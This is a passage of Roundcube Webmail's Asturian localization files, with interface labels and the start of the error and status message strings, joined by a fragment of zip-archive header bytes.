$labels['refresh'] = 'Refrescar';
$labels['checkmail'] = 'Comprobar mensaxes nuevos';
$labels['compose'] = 'Redactar';
$labels['writenewmessage'] = 'Redactar un mensaxe nuevu';
$labels['reply'] = 'Responder';
$labels['replytomessage'] = 'Responder al remitente';
$labels['replytoallmessage'] = 'Responder a la llista o al remitente y tolos destinatarios';
$labels['replyall'] = 'Responder a toos';
$labels['replylist'] = 'Responder a la llista';
$labels['forward'] = 'Reunviar';
$labels['forwardinline'] = 'Reunviar direutamente';
$labels['forwardattachment'] = 'Reunviar como axuntu';
$labels['forwardmessage'] = 'Reunviar el mensaxe';
$labels['deletemessage'] = 'Desaniciar mensaxe';
$labels['movemessagetotrash'] = 'Mover mensaxe a la papelera';
$labels['printmessage'] = 'Imprentar esti mensaxe';
$labels['previousmessage'] = 'Amosar el mensaxe anterior';
$labels['firstmessage'] = 'Amosar primer mensaxe';
$labels['nextmessage'] = 'Amosar mensaxe siguiente';
$labels['lastmessage'] = 'Amosar mensaxe caberu';
$labels['backtolist'] = 'Tornar a la llista de mensaxes';
$labels['viewsource'] = 'Amosar fonte';
$labels['mark'] = 'Conseñar';
$labels['markmessages'] = 'Conseñar mensaxes';
$labels['markread'] = 'Como lleíu';
$labels['markunread'] = 'Como non lleíu';
$labels['markflagged'] = 'Como etiquetáu';
$labels['markunflagged'] = 'Como non etiquetáu';
$labels['moreactions'] = 'Más aiciones...';
$labels['folders-all'] = 'Toles carpetes';
$labels['more'] = 'Más';
$labels['back'] = 'Tornar';
$labels['options'] = 'Opciones';
$labels['first'] = 'Primeru';
$labels['last'] = 'Caberu';
$labels['previous'] = 'Postreru';
$labels['next'] = 'Siguiente';
$labels['select'] = 'Esbillar';
$labels['all'] = 'Toos';
$labels['none'] = 'Dengún';
$labels['currpage'] = 'Páxina actual';
$labels['isread'] = 'Lleer';
$labels['unread'] = 'Ensin lleer';
$labels['flagged'] = 'Etiquetaos';
$labels['unanswered'] = 'Ensin contestar';
$labels['withattachment'] = 'Con axuntu';
$labels['deleted'] = 'Desaniciáu';
$labels['undeleted'] = 'Non desaniciáu';
$labels['replied'] = 'Respondíu';
$labels['forwarded'] = 'Reunviáu';
$labels['invert'] = 'Invertir';
$labels['filter'] = 'Filtru';
$labels['list'] = 'Llista';
$labels['threads'] = 'Filos';
$labels['expand-all'] = 'Espander toos';
$labels['expand-unread'] = 'Espander non lleíos';
$labels['collapse-all'] = 'Contrayer toos';
$labels['threaded'] = 'Encadenaos';
$labels['autoexpand_threads'] = 'Espander filos de mensaxes';
$labels['do_expand'] = 'tolos filos';
$labels['expand_only_unread'] = 'namái con mensaxes non lleíos';
$labels['fromto'] = 'De/a';
$labels['flag'] = 'Bandera';
$labels['attachment'] = 'Axuntu';
$labels['nonesort'] = 'Dengún';
$labels['sentdate'] = 'Data d\'unviu';
$labels['arrival'] = 'Data de llegada';
$labels['asc'] = 'ascendente';
$labels['desc'] = 'descendente';
$labels['listcolumns'] = 'Llistar columnes';
$labels['listsorting'] = 'Columna de llistáu';
$labels['listorder'] = 'Orde de llistáu';
$labels['listmode'] = 'Mou de vista de llista';
$labels['layoutlist'] = 'Llista';
$labels['folderactions'] = 'Aiciones de carpeta...';
$labels['compact'] = 'Compautar';
$labels['empty'] = 'Vaciar';
$labels['importmessages'] = 'Importar mensaxes';
$labels['quota'] = 'Usu de discu';
$labels['unknown'] = 'desconocíu';
$labels['unlimited'] = 'ensin llende';
$labels['quotatotal'] = 'Llímite';
$labels['quotaused'] = 'Usáu';
$labels['quotastorage'] = 'Espaciu en discu';
$labels['quicksearch'] = 'Gueta rápida';
$labels['resetsearch'] = 'Reaniciar la gueta';
$labels['searchmod'] = 'Guetar modificadores';
$labels['msgtext'] = 'Mensaxe enteru';
$labels['body'] = 'Cuerpu';
$labels['type'] = 'Triba';
$labels['namex'] = 'Nome';
$labels['searchscope'] = 'Algame';
$labels['currentfolder'] = 'Carpeta actual';
$labels['subfolders'] = 'Esta y les subcarpetes';
$labels['allfolders'] = 'Toles carpetes';
$labels['openinextwin'] = 'Abrir nuna ventana nueva';
$labels['emlsave'] = 'Descargar (.eml)';
$labels['changeformattext'] = 'Amosar en formatu de testu planu';
$labels['changeformathtml'] = 'Amosar en formatu HTML';
$labels['editasnew'] = 'Editar como nuevu';
$labels['send'] = 'Unviar';
$labels['sendmessage'] = 'Unviar el mensaxe yá';
$labels['savemessage'] = 'Guardar como borrador';
$labels['addattachment'] = 'Axuntar un ficheru';
$labels['charset'] = 'Codificación';
$labels['editortype'] = 'Triba d\'editor';
$labels['returnreceipt'] = 'Devolver avisu de recibu';
$labels['dsn'] = 'Notificación d\'estáu d\'entrega';
$labels['mailreplyintro'] = 'El $date, $sender escribió:';
$labels['originalmessage'] = 'Mensaxe orixinal';
$labels['selectimage'] = 'Esbillar imaxe';
$labels['addimage'] = 'Amestar imaxe';
$labels['selectmedia'] = 'Esbillar película';
$labels['addmedia'] = 'Amestar película';
$labels['insert'] = 'Inxertar';
$labels['editidents'] = 'Editar identidaes';
$labels['spellcheck'] = 'Correutor ortográficu';
$labels['checkspelling'] = 'Revisar ortografía';
$labels['resumeediting'] = 'Siguir cola edición';
$labels['revertto'] = 'Revertir a';
$labels['restore'] = 'Restaurar';
$labels['restoremessage'] = '¿Restaurar mensaxe?';
$labels['responses'] = 'Rempuestes';
$labels['insertresponse'] = 'Inxertar una rempuesta';
$labels['manageresponses'] = 'Alministrar rempuestes';
$labels['newresponse'] = 'Crear resmpuesta nueva';
$labels['addresponse'] = 'Amestar rempuesta';
$labels['editresponse'] = 'Editar rempuesta';
$labels['editresponses'] = 'Editar rempuestes';
$labels['responsename'] = 'Nome';
$labels['responsetext'] = 'Testu de la rempuesta';
$labels['attach'] = 'Axuntar';
$labels['attachments'] = 'Axuntos';
$labels['upload'] = 'Xubir';
$labels['close'] = 'Zarrar';
$labels['messageoptions'] = 'Opciones de mensaxe...';
$labels['togglecomposeoptions'] = 'Camudar opciones de composición';
$labels['low'] = 'Baxu';
$labels['lowest'] = 'Mui baxu';
$labels['normal'] = 'Normal';
$labels['high'] = 'Altu';
$labels['highest'] = 'Mui altu';
$labels['nosubject'] = '(ensin asuntu)';
$labels['showimages'] = 'Amosar imáxenes';
$labels['alwaysshow'] = 'Amosar siempres les imáxenes de $sender';
$labels['isdraft'] = 'Esti mensaxe ye un borrador.';
$labels['andnmore'] = '$nr más...';
$labels['togglemoreheaders'] = 'Amosar más testeres del mensaxe';
$labels['togglefullheaders'] = 'Amosar o anubrir testeres de mensaxes';
$labels['htmltoggle'] = 'HTML';
$labels['plaintoggle'] = 'Testu planu';
$labels['savesentmessagein'] = 'Guardar mensaxe unviáu en';
$labels['dontsave'] = 'nun guardar';
$labels['maxuploadsize'] = 'El tamañu másimu pa un ficheru ye $size';
$labels['addcc'] = 'Amestar Cc';
$labels['addbcc'] = 'Amestar Cct';
$labels['addreplyto'] = 'Amestar Rempuesta pa';
$labels['addfollowupto'] = 'Amestar Siguir a';
$labels['mdnrequest'] = 'El remitente d\'esti mensaxe entrugó pa ser notificáu cuando lleas esti mensaxe. ¿Deseyes notificá-ylo al remitente?';
$labels['receiptread'] = 'Devolver avisu de recibu (lleíu)';
$labels['yourmessage'] = 'Esto ye una devolución del avisu de recibu pal to mensaxe';
$labels['receiptnote'] = 'Nota: Esti avisu de recibu namái reconoz que\'l mensaxe amosóse nel ordenador del destinatariu. Nun hai garantía de que\'l destinatariu lleera o entendiera\'l conteníu del mensaxe.';
$labels['name'] = 'Nome completu';
$labels['firstname'] = 'Nome';
$labels['surname'] = 'Apellíu';
$labels['middlename'] = 'Segundu nome';
$labels['nameprefix'] = 'Prefixu';
$labels['namesuffix'] = 'Sufixu';
$labels['nickname'] = 'Nomatu';
$labels['jobtitle'] = 'Tratamientu';
$labels['department'] = 'Departamentu';
$labels['gender'] = 'Xéneru';
$labels['maidenname'] = 'Apellíu de soltera';
$labels['email'] = 'Corréu';
$labels['phone'] = 'Teléfonu';
$labels['address'] = 'Direición';
$labels['street'] = 'Cai';
$labels['locality'] = 'Ciudá';
$labels['zipcode'] = 'Códigu postal';
$labels['region'] = 'Estáu/Provincia';
$labels['country'] = 'País';
$labels['birthday'] = 'Cumpleaños';
$labels['anniversary'] = 'Aniversariu';
$labels['website'] = 'Páxina web';
$labels['instantmessenger'] = 'Mensaxería nel intre';
$labels['notes'] = 'Notes';
$labels['male'] = 'home';
$labels['female'] = 'muyer';
$labels['manager'] = 'Alministrador';
$labels['assistant'] = 'Auxiliar';
$labels['spouse'] = 'Casáu con';
$labels['allfields'] = 'Tolos campos';
$labels['search'] = 'Guetar';
$labels['advsearch'] = 'Gueta avanzada';
$labels['advanced'] = 'Avanzáu';
$labels['other'] = 'Otru';
$labels['typehome'] = 'Casa';
$labels['typework'] = 'Trabayu';
$labels['typeother'] = 'Otru';
$labels['typemobile'] = 'Móvil';
$labels['typemain'] = 'Principal';
$labels['typehomefax'] = 'Fax de casa';
$labels['typeworkfax'] = 'Fax del trabayu';
$labels['typecar'] = 'Coche';
$labels['typepager'] = 'Buscapersones';
$labels['typevideo'] = 'Videu';
$labels['typeassistant'] = 'Auxiliar';
$labels['typehomepage'] = 'Páxina d\'aniciu';
$labels['typeblog'] = 'Blogue';
$labels['typeprofile'] = 'Perfil';
$labels['addfield'] = 'Amestar campu...';
$labels['addcontact'] = 'Amestar contautu';
$labels['editcontact'] = 'Editar contautu';
$labels['contacts'] = 'Contautos';
$labels['contactproperties'] = 'Propiedaes del contautu';
$labels['contactnameandorg'] = 'Nome y organización';
$labels['personalinfo'] = 'Información personal';
$labels['contactphoto'] = 'Semeya de contautu';
$labels['edit'] = 'Editar';
$labels['cancel'] = 'Encaboxar';
$labels['save'] = 'Guardar';
$labels['delete'] = 'Desaniciar';
$labels['rename'] = 'Renomar';
$labels['addphoto'] = 'Amestar';
$labels['replacephoto'] = 'Trocar';
$labels['uploadphoto'] = 'Xubir semeya';
$labels['newcontact'] = 'Crear contautu nuevu';
$labels['deletecontact'] = 'Desaniciar los contautos esbillaos';
$labels['composeto'] = 'Redactar mensaxe a';
$labels['contactsfromto'] = 'Contautos $from a $to de $count';
$labels['print'] = 'Imprentar';
$labels['export'] = 'Esportar';
$labels['exportall'] = 'Esportar too';
$labels['exportsel'] = 'Esportar lo esbillao';
$labels['exportvcards'] = 'Esportar contautos en formatu vCard';
$labels['newgroup'] = 'Crear grupu nuevu';
$labels['grouprename'] = 'Renomar grupu';
$labels['groupdelete'] = 'Desaniciar grupu';
$labels['groupremoveselected'] = 'Desaniciar los contautos esbillaos del grupu';
$labels['uponelevel'] = 'Xunir un nivel';
$labels['previouspage'] = 'Amosar páxina postrera';
$labels['firstpage'] = 'Amosar primer páxina';
$labels['nextpage'] = 'Amosar páxina siguiente';
$labels['lastpage'] = 'Amosar páxina cabera';
$labels['group'] = 'Grupu';
$labels['groups'] = 'Grupos';
$labels['listgroup'] = 'Llistar miembros del grupu';
$labels['personaladrbook'] = 'Direiciones personales';
$labels['searchsave'] = 'Guardar gueta';
$labels['searchdelete'] = 'Desaniciar gueta';
$labels['import'] = 'Importar';
$labels['importcontacts'] = 'Importar contautos';
$labels['importtarget'] = 'Amestar contautos a';
$labels['importreplace'] = 'Trocar el llibru de direiciones enteru';
$labels['importgroups'] = 'Importar asignaciones de grupu';
$labels['importgroupsall'] = 'Toos (crear grupos si ye necesario)';
$labels['importgroupsexisting'] = 'Namái pa los grupos esistentes';
$labels['done'] = 'Fecho';
$labels['settingsfor'] = 'Axustes pa';
$labels['about'] = 'Tocante a';
$labels['preferences'] = 'Preferencies';
$labels['userpreferences'] = 'Preferencies d\'usuariu';
$labels['editpreferences'] = 'Editar preferencies d\'usuariu';
$labels['identities'] = 'Identidaes';
$labels['manageidentities'] = 'Almisnitrar identidaes';
$labels['newidentity'] = 'Crear identidá nueva';
$labels['addidentity'] = 'Amestar identidça';
$labels['editidentity'] = 'Editar identidá';
$labels['preferhtml'] = 'Amosar HTML';
$labels['defaultcharset'] = 'Xuegu de caráuteres predetermináu';
$labels['htmlmessage'] = 'Mensaxe HTML';
$labels['messagepart'] = 'Parte';
$labels['digitalsig'] = 'Robla dixital';
$labels['dateformat'] = 'Formatu de data';
$labels['timeformat'] = 'Formatu d\'hora';
$labels['prettydate'] = 'Dates prestoses';
$labels['setdefault'] = 'Reafitar';
$labels['autodetect'] = 'Auto';
$labels['language'] = 'Llingua';
$labels['timezone'] = 'Estaya horaria';
$labels['pagesize'] = 'Fileres per páxina';
$labels['signature'] = 'Robla';
$labels['dstactive'] = 'Cambéu horariu';
$labels['showinextwin'] = 'Abrir mensaxe nuna ventana nueva';
$labels['composeextwin'] = 'Redactar nuna ventana nueva';
$labels['htmleditor'] = 'Redactar el mensaxe en HTML';
$labels['htmlonreply'] = 'en rempuesta a mensaxe HTML';
$labels['htmlonreplyandforward'] = 'en reunviu o rempuesta al mensaxe HTML';
$labels['htmlsignature'] = 'Robla HTML';
$labels['showemail'] = 'Amosar direición de corréu-e al amosar el nome';
$labels['previewpane'] = 'Amosar panel de previsualización';
$labels['skin'] = 'Tema de la interfaz';
$labels['logoutclear'] = 'Vaciar la papelera al zarrar la sesión';
$labels['logoutcompact'] = 'Compautar la bandexa d\'entrada al zarrar la sesión';
$labels['uisettings'] = 'Interfaz d\'usuariu';
$labels['serversettings'] = 'Axustes del sirvidor';
$labels['mailboxview'] = 'Vista del buzón';
$labels['mdnrequests'] = 'En petición de devolución del recibíu';
$labels['askuser'] = 'entrúgame';
$labels['autosend'] = 'unviar recibu';
$labels['autosendknown'] = 'unviar recibu a los mios contautos, d\'otramiente entrúgame';
$labels['autosendknownignore'] = 'unviar recibu a los mios contautos, d\'otramiente inorar';
$labels['readwhendeleted'] = 'Conseñar el mensaxe como lleíu al desanicialu';
$labels['flagfordeletion'] = 'Conseñar el mensaxe pal desaniu en cuantes de desanicialu';
$labels['skipdeleted'] = 'Nun amosar los mensaxes desaniciaos';
$labels['deletealways'] = 'Si falla\'l treslláu de los mensaxes a la Papelera, desanicialos';
$labels['deletejunk'] = 'Desaniciar direutamente el correú en Puxarra';
$labels['showremoteimages'] = 'Amosar imáxenes en llinia remotes';
$labels['fromknownsenders'] = 'de remitentes conocíos';
$labels['always'] = 'siempres';
$labels['showinlineimages'] = 'Amosar les imáxenes axuntaes embaxo\'l mensaxe';
$labels['autosavedraft'] = 'Guardar borrador automáticamente';
$labels['everynminutes'] = 'cada $n minutu/os';
$labels['refreshinterval'] = 'Refrescar (comprobación de mensaxes nuevos, etc.)';
$labels['never'] = 'nunca';
$labels['immediately'] = 'de secute';
$labels['messagesdisplaying'] = 'Vista de mensaxes';
$labels['messagescomposition'] = 'Redaición de mensaxes';
$labels['mimeparamfolding'] = 'Nomes d\'axuntos';
$labels['2231folding'] = 'RFC 2231 completu (Thunderbird)';
$labels['miscfolding'] = 'RFC 2047/2231 (MS Outlook)';
$labels['2047folding'] = 'RFC 2047 completu (otros)';
$labels['force7bit'] = 'Usar codificación MIME pa caráuteres de 8 bits';
$labels['advancedoptions'] = 'Opciones avanzaes';
$labels['toggleadvancedoptions'] = 'Camudar opciones avanzaes';
$labels['focusonnewmessage'] = 'Enfocar la ventana de restolación en mensaxes nuevos';
$labels['checkallfolders'] = 'Comprobar en toles carpetes mensaxes nuevos';
$labels['defaultfont'] = 'Triba de fonte por defeutu del mensaxe HTML';
$labels['mainoptions'] = 'Opciones principales';
$labels['browseroptions'] = 'Opciones del restolador';
$labels['section'] = 'Seición';
$labels['maintenance'] = 'Caltenimientu';
$labels['newmessage'] = 'Mensaxe nuevu';
$labels['signatureoptions'] = 'Opciones de robla';
$labels['whenreplying'] = 'Cuando se respuenda';
$labels['replyempty'] = 'nun citar el mensaxe orixinal';
$labels['replytopposting'] = 'aniciar un mensaxe nuevu enriba l\'orixinal';
$labels['replybottomposting'] = 'aniciar un mensaxe nuevu embaxo l\'orixinal';
$labels['replyremovesignature'] = 'Desaniciar la robla orixinal del mensaxe cuando se respuenda';
$labels['autoaddsignature'] = 'Amestar robla automáticamente';
$labels['newmessageonly'] = 'namái mensaxe nuevu';
$labels['replyandforwardonly'] = 'namái rempuestes y reunvios';
$labels['insertsignature'] = 'Inxertar robla';
$labels['afternseconds'] = 'dempués de $n segundos';
$labels['reqmdn'] = 'Solicitar siempres un recibu';
$labels['reqdsn'] = 'Solicitar siempres la notificación d\'estáu d\'entrega';
$labels['replysamefolder'] = 'Allugar les rempuestes na carpeta del mensaxe que tea respondiéndose';
$labels['defaultabook'] = 'Llibreta de direiciones por defeutu';
$labels['autocompletesingle'] = 'Saltar direiciones de corréu alternatives nel autocompletáu';
$labels['listnamedisplay'] = 'Llistar contautos como';
$labels['spellcheckbeforesend'] = 'Comprobar ortografía enantes d\'unviar un mensaxe';
$labels['spellcheckoptions'] = 'Opciones d\'ortografía';
$labels['spellcheckignoresyms'] = 'Inorar pallabres con símbolos';
$labels['spellcheckignorenums'] = 'Inorar pallabres con númberos';
$labels['spellcheckignorecaps'] = 'Inorar pallabres con too mayúscules';
$labels['addtodict'] = 'Amestar al diccionariu';
$labels['mailtoprotohandler'] = 'Rexistrar xestor de protocolu pa enllaces \'mailto:\'';
$labels['standardwindows'] = 'Remanar ventanos emerxentes como ventanes estándar';
$labels['forwardmode'] = 'Reunviu de mensaxes';
$labels['inline'] = 'en llinia';
$labels['asattachment'] = 'como axuntu';
$labels['replyallmode'] = 'Aición por defeutu del botón [Responder too]';
$labels['replyalldefault'] = 'responder a toos';
$labels['replyalllist'] = 'responder namái a la llista de Corréu (si s\'alcuentra)';
$labels['allmessages'] = 'tolos mensaxes';
$labels['folder'] = 'Carpeta';
$labels['folders'] = 'Carpetes';
$labels['foldername'] = 'Nome de carpeta';
$labels['subscribed'] = 'Soscrita';
$labels['messagecount'] = 'Mensaxes';
$labels['create'] = 'Crear';
$labels['createfolder'] = 'Crear una carpeta nueva';
$labels['managefolders'] = 'Alministrar carpetes';
$labels['specialfolders'] = 'Carpetes especiales';
$labels['properties'] = 'Propiedaes';
$labels['folderproperties'] = 'Propiedaes de la carpeta';
$labels['parentfolder'] = 'Carpeta pá';
$labels['location'] = 'Llocalización';
$labels['info'] = 'Información';
$labels['getfoldersize'] = 'Primi pa saber el tamañu de la carpeta';
$labels['changesubscription'] = 'Primi pa camudar la soscripción';
$labels['foldertype'] = 'Triba de carpeta';
$labels['personalfolder'] = 'Carpeta privada';
$labels['otherfolder'] = 'Carpeta d\'otru usuariu';
$labels['sharedfolder'] = 'Carpeta pública';
$labels['sortby'] = 'Ordenar per';
$labels['sortasc'] = 'Orde ascendente';
$labels['sortdesc'] = 'Orde descendente';
$labels['undo'] = 'Desfacer';
$labels['installedplugins'] = 'Complementos instalaos';
$labels['plugin'] = 'Complementu';
$labels['version'] = 'Versión';
$labels['source'] = 'Fonte';
$labels['license'] = 'Llicencia';
$labels['support'] = 'Consiguir sofitu';
$labels['B'] = 'B';
$labels['KB'] = 'KB';
$labels['MB'] = 'MB';
$labels['GB'] = 'GB';
$labels['unicode'] = 'Unicode';
$labels['english'] = 'Inglés';
$labels['westerneuropean'] = 'Européu occidental';
$labels['easterneuropean'] = 'Européu oriental';
$labels['southeasterneuropean'] = 'Européu suroriental';
$labels['baltic'] = 'Bálticu';
$labels['cyrillic'] = 'Cirílicu';
$labels['arabic'] = 'Árabe';
$labels['greek'] = 'Griegu';
$labels['hebrew'] = 'Hebréu';
$labels['turkish'] = 'Turcu';
$labels['nordic'] = 'Nórdicu';
$labels['thai'] = 'Tailandés';
$labels['celtic'] = 'Celta';
$labels['vietnamese'] = 'Vietnamita';
$labels['japanese'] = 'Xaponés';
$labels['korean'] = 'Coreanu';
$labels['chinese'] = 'Chinu';
$labels['arialabeltopnav'] = 'Control de ventana';
$labels['arialabeltasknav'] = 'Xeres d\'aplicación';
$labels['arialabeltoolbar'] = 'Barra de ferramientes d\'aplicación';
$labels['arialabelactivetask'] = 'Xera activa';
$labels['arialabelmessagessearchfilter'] = 'Flitru de llistáy de correos';
$labels['arialabelmailsearchform'] = 'Formulariu de gueta de mensaxe de corréu';
$labels['arialabelcontactsearchform'] = 'Formulariu de gueta de contautos';
$labels['arialabelmailquicksearchbox'] = 'Entrada de gueta de correos';
$labels['arialabelquicksearchbox'] = 'Entrada de gueta';
$labels['arialabelfolderlist'] = 'Esbilla de carpeta de corréu';
$labels['arialabelmessagelist'] = 'Llistáu de mensaxes de corréu';
$labels['arialabelmailpreviewframe'] = 'Vista previa de mensaxe';
$labels['arialabelmailboxmenu'] = 'Menú d\'aiciones de carpeta';
$labels['arialabellistselectmenu'] = 'Menú d\'esbilla de llista';
$labels['arialabelthreadselectmenu'] = 'Menú de llistáu de filos';
$labels['arialabelmailimportdialog'] = 'Diálogu d\'impotación de mensaxe';
$labels['arialabelmessagenav'] = 'Restolación de mensaxe';
$labels['arialabelmessagebody'] = 'Cuerpu de mensaxe';
$labels['arialabelmessageactions'] = 'Aiciones de mensaxe';
$labels['arialabelcontactquicksearch'] = 'Formulariu de gueta de contautos';
$labels['arialabelcontactsearchbox'] = 'Entrada de gueta de contautu';
$labels['arialabelmessageheaders'] = 'Testeres de mensaxe';
$labels['arialabelforwardingoptions'] = 'Opciones de reunviu';
$labels['arialabelreplyalloptions'] = 'Opciones de responder a toos';
$labels['arialabelmoremessageactions'] = 'Aiciones de más mensaxes';
$labels['arialabelmarkmessagesas'] = 'Conseñar los mensaxes esbillaos como...';
$labels['arialabelcomposeoptions'] = 'Opciones de redaición';
$labels['arialabelresponsesmenu'] = 'Menú de rempuestes conservaes';
$labels['arialabelattachmentuploadform'] = 'Formulariu de xuba d\'axuntu';
$labels['arialabelattachmentpreview'] = 'Vista previa d\'axuntu';
$labels['ariasummarycomposecontacts'] = 'Llista de contutos y grupos pa esbillar como destinatarios';
$labels['arialabelcontactexportoptions'] = 'Opciones d\'esportación de contautu';
$labels['arialabelabookgroupoptions'] = 'Opciones de llibru de direiciones/grupu';
$labels['arialabelpreferencesform'] = 'Formulariu de preferencies';
$labels['arialabelidentityeditfrom'] = 'Formulariu d\'edición d\'identidá';
$labels['arialabelresponseeditfrom'] = 'Formulariu d\'edición de rempuesta';
$labels['helplistnavigation'] = 'Restolación de tecláu de llista';
$labels['helplistkeyboardnavcontacts'] = "Enter: Abrir el contautu esbilláu/enfocáu.";
PK
h�\j�޸/�/%program/localization/ast/messages.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/messages/
*/

$messages['errortitle']  = '¡Hebo un fallu!';
$messages['loginfailed']  = 'Contraseña o nome d\'usuariu incorreutu.';
$messages['cookiesdisabled'] = 'El to restolador nun aceuta cookies.';
$messages['sessionerror'] = 'La to sesión nun val o caducó.';
$messages['storageerror'] = 'Fallu de conexón col sirvidor IMAP';
$messages['servererror'] = '¡Fallu del sirvidor!';
$messages['servererrormsg'] = 'Fallu de sirvidor: $msg';
$messages['connerror'] = '¡Fallu de conexón (Fallu al algamar el sirvidor)!';
$messages['dberror'] = '¡Fallu na base de datos!';
$messages['windowopenerror'] = '¡Bloquióse\'l ventanu emerxente!';
$messages['requesttimedout'] = 'Caducó\'l tiempu de rempuesta.';
$messages['errorreadonly'] = 'Imposible facer la operación. La bandexa ye de namái-llectura.';
$messages['errornoperm'] = 'Imposible facer la operación. Denegóse\'l permisu.';
$messages['erroroverquota'] = 'Nun pudo completase la operación. Nun queda espaciu nel discu.';
$messages['erroroverquotadelete'] = 'Nun queda espaciu nel discu. Usa Shift+Supr pa desaniciar un mensaxe.';
$messages['invalidrequest'] = 'Fallu de la solicitú. Nun se guardaron datos.';
$messages['invalidhost'] = 'Nome de sirvidor inválidu.';
$messages['nomessagesfound'] = 'Nun s\'atoparon mensaxes na bandexa';
$messages['mailboxempty'] = 'La bandexa de corréu ta balera';
$messages['nomessages'] = 'Nun hai mensaxes';
$messages['refreshing'] = 'Anovando...';
$messages['loading'] = 'Cargando...';
$messages['uploading'] = 'Xubiendo ficheru';
$messages['uploadingmany'] = 'Xubiendo ficheros...';
$messages['loadingdata'] = 'Cargando datos...';
$messages['checkingmail'] = 'A la gueta de mensaxes nuevos...';
$messages['sendingmessage'] = 'Unviando mensaxe...';
$messages['messagesent'] = 'Unvióse\'l mensaxe.';
$messages['savingmessage'] = 'Guardar mensaxe...';
$messages['messagesaved'] = 'El mensaxe guardóse en borradores';
$messages['successfullysaved'] = 'Guardóse correchamente';
$messages['savingresponse'] = 'Guardando mensaxe de rempuesta...';
$messages['deleteresponseconfirm'] = '¿De xuru quies desaniciar esti testu de rempuesta?';
$messages['addedsuccessfully'] = 'El contautu amestóse correchamente a la llibreta de direiciones';
$messages['contactnameexists'] = 'Yá esiste un contautu col mesmu nome.';
$messages['blockedimages'] = 'Pa protexer la to privacidá, torgáronse les imáxenes esternes nesti mensaxe.';
$messages['encryptedmessage'] = 'Esti ye un mensaxe cifráu y nun soi a amosalu. ¡Sentímoslo!';
$messages['nocontactsfound'] = 'Nun doi con dengún contautu';
$messages['contactnotfound'] = 'Nun s\'atopa\'l contautu solicitáu.';
$messages['sendingfailed'] = 'Falló l\'unviu del mensaxe';
$messages['senttooquickly'] = 'Por favor espera $sec segundu/os enantes d\'unviar esti mensaxe.';
$messages['errorsavingsent'] = 'Hebo un fallu al guardar el mensaxe unviáu.';
$messages['errorsaving'] = 'Hebo un fallu al guardar.';
$messages['errormoving'] = 'Nun pudo movese el/los mensaxe(s).';
$messages['errorcopying'] = 'Nun pudo copiase el/los mensaxe(s).';
$messages['errordeleting'] = 'Nun pudo desaniciase el/los mensaxe(s)';
$messages['errormarking'] = 'Nun pudo marcase el/los mensaxe(s)';
$messages['deletecontactconfirm']  = '¿Daveres que quies desaniciar el contautu(os) seleicionáu(os)?';
$messages['deletegroupconfirm']  = '¿Daveres que quies desaniciar el grupu seleicionáu?';
$messages['deletemessagesconfirm'] = '¿Tas seguru de desaniciar los mensaxes que marcaste?';
$messages['deletefolderconfirm']  = '¿Daveres que quies desaniciar esta bandexa?';
$messages['purgefolderconfirm']  = '¿Daveres que quies desaniciar tolos mensaxes d\'esta bandexa?';
$messages['contactdeleting'] = 'Desaniciando contautu(os)...';
$messages['groupdeleting'] = 'Desaniciando grupu...';
$messages['folderdeleting'] = 'Desaniciando la bandexa...';
$messages['foldermoving'] = 'Moviendo la bandexa...';
$messages['foldersubscribing'] = 'Soscribiendo bandexa...';
$messages['folderunsubscribing'] = 'Desoscribiendo bandexa...';
$messages['formincomplete'] = 'Tienes de rellenar tolos campos del formulariu.';
$messages['noemailwarning'] = 'Por favor, introduz un corréu válidu.';
$messages['nonamewarning']  = 'Por favor, introduz un nome.';
$messages['nopagesizewarning'] = 'Por favor, introduz un tamañu de páxina.';
$messages['norecipientwarning'] = 'Por favor, introduz polo menos un destinatariu';
$messages['nosubjectwarning']  = 'El campo "Asuntu" ta vacíu. ¿Quies rellenalu agora?';
$messages['nobodywarning'] = '¿Quies unviar esti mensaxe ensin testu?';
$messages['restoresavedcomposedata'] = 'Alcontróse un mensaxe redactáu anterior ensin unviar.n\nAsuntu: $subject\nGuardáu: $date\n\n¿Quies restaurar esti mensaxe?';
$messages['nosearchname'] = 'Por favor, introduz un nome o una direición de corréu-e.';
$messages['notuploadedwarning'] = 'Entá nun se xubieron tolos axuntos. Por favor, espera o encaboxa la xuba.';
$messages['searchsuccessful'] = 'Atopáronse $nr mensaxes.';
$messages['contactsearchsuccessful'] = 'Atopáronse $nr contautos.';
$messages['searchnomatch'] = 'Nun s\'atopó dengún resultáu';
$messages['searching'] = 'A la gueta...';
$messages['checking'] = 'Comprobando...';
$messages['stillsearching'] = 'Guetando entá...';
$messages['nospellerrors'] = 'Nun s\'atoparon errores ortográficos';
$messages['folderdeleted'] = 'Desanicióse la bandexa correchamente';
$messages['foldersubscribed'] = 'Soscritu a bandexa correchamente.';
$messages['folderunsubscribed'] = 'Soscripción a bandexa anulada correchamente.';
$messages['deletedsuccessfully'] = 'Desanicióse correchamente';
$messages['converting'] = 'Desaniciando\'l formatu del mensaxe...';
$messages['messageopenerror'] = 'Nun pue descargase\'l mensaxe del sirvidor.';
$messages['fileuploaderror'] = 'Fallu al xubir ficheros.';
$messages['filesizeerror'] = 'El ficheru ye más grande de lo permitío ($size)';
$messages['copysuccess'] = '$nr contautos copiaos correchamente.';
$messages['movesuccess'] = '$nr contautos movíos correchamente.';
$messages['copyerror'] = 'Nun pudo copiase dengún contautu.';
$messages['moveerror'] = 'Nun pudo movese dengún contautu.';
$messages['sourceisreadonly'] = 'Esta direición ye de namái-llectura';
$messages['errorsavingcontact'] = 'Nun pudo guardase la direición del contautu';
$messages['movingmessage'] = 'Moviendo mensaxe(s)...';
$messages['copyingmessage'] = 'Copiando mensaxe(s)...';
$messages['copyingcontact'] = 'Copiando contautu(os)...';
$messages['movingcontact'] = 'Moviendo contautu(os)...';
$messages['deletingmessage'] = 'Desaniciando mensaxe(s)...';
$messages['markingmessage'] = 'Marcando mensaxe(s)...';
$messages['addingmember'] = 'Amestando contautu(os) al grupu...';
$messages['removingmember'] = 'Quitando contautu(os) del grupu...';
$messages['receiptsent'] = 'Unvióse correchamente l\'avisu de llectura.';
$messages['errorsendingreceipt'] = 'Nun pudo unviase l\'avisu de llectura.';
$messages['deleteidentityconfirm'] = '¿Daveres que quies desaniciar esta identidá?';
$messages['nodeletelastidentity'] = 'Nun pue desaniciase esa identidá porque ye la última.';
